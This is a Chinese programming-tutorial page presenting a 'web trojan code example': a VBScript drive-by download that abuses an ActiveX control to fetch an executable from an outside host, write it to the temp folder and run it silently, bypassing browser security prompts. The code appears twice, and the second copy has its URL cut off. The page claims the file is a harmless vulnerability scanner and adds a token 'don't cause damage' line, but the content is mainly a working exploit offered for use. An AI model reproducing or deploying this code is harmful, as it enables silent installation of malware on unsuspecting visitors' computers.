您现在的位置是：网站首页> 编程资料编程资料
网页木马代码例子（里面的文件是漏洞扫描器，呵呵）_木马相关_
2023-05-25
280人已围观
简介 网页木马代码例子（里面的文件是漏洞扫描器，呵呵）_木马相关_
对于经常上网冲浪的朋友对于网页木马一定不会陌生，打开某个网站，莫名其妙的运行了某个木马，虽然在"Internet选项"里有"安全"设置，但是下面的代码就不会弹出任何信息就直接运行了程序，不信，follow me!
(提示: 只是了解一下技术和方法，千万别搞破坏，yexj00.exe是一个windows2000 漏洞扫描器和查漏补缺用的，不是病毒或木马，放心运行。)
on error resume next
dl = "http://yexj00.5dm.cn/soft/yexj00.exe"
set ye=document.createElement("object")
yStr="clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"
ye.setAttribute "classid",yStr
Set x = ye.CreateObject("Microsoft.XMLHTTP","")
set S = ye.createobject("ADODB.Stream","")
S.type = 1
x.Open "GET", dl, False
x.Send
fname="win2000漏洞扫描器.exe"
set F = ye.createobject("Scripting.FileSystemObject","")
set tmp = F.GetSpecialFolder(2)
fname= F.BuildPath(tmp,fname)
S.open
S.write x.responseBody
S.savetofile fname,2
S.close
set A=ye.createobject("Shell.Application","")
A.ShellExecute fname,"","", "open",1
(提示: 只是了解一下技术和方法，千万别搞破坏，yexj00.exe是一个windows2000 漏洞扫描器和查漏补缺用的，不是病毒或木马，放心运行。)
复制代码 代码如下:
on error resume next
dl = "
set ye=document.createElement("object")
yStr="clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"
ye.setAttribute "classid",yStr
Set x = ye.CreateObject("Microsoft.XMLHTTP","")
set S = ye.createobject("ADODB.Stream","")
S.type = 1
x.Open "GET", dl, False
x.Send
fname="win2000漏洞扫描器.exe"
set F = ye.createobject("Scripting.FileSystemObject","")
set tmp = F.GetSpecialFolder(2)
fname= F.BuildPath(tmp,fname)
S.open
S.write x.responseBody
S.savetofile fname,2
S.close
set A=ye.createobject("Shell.Application","")
A.ShellExecute fname,"","", "open",1
您可能感兴趣的文章:
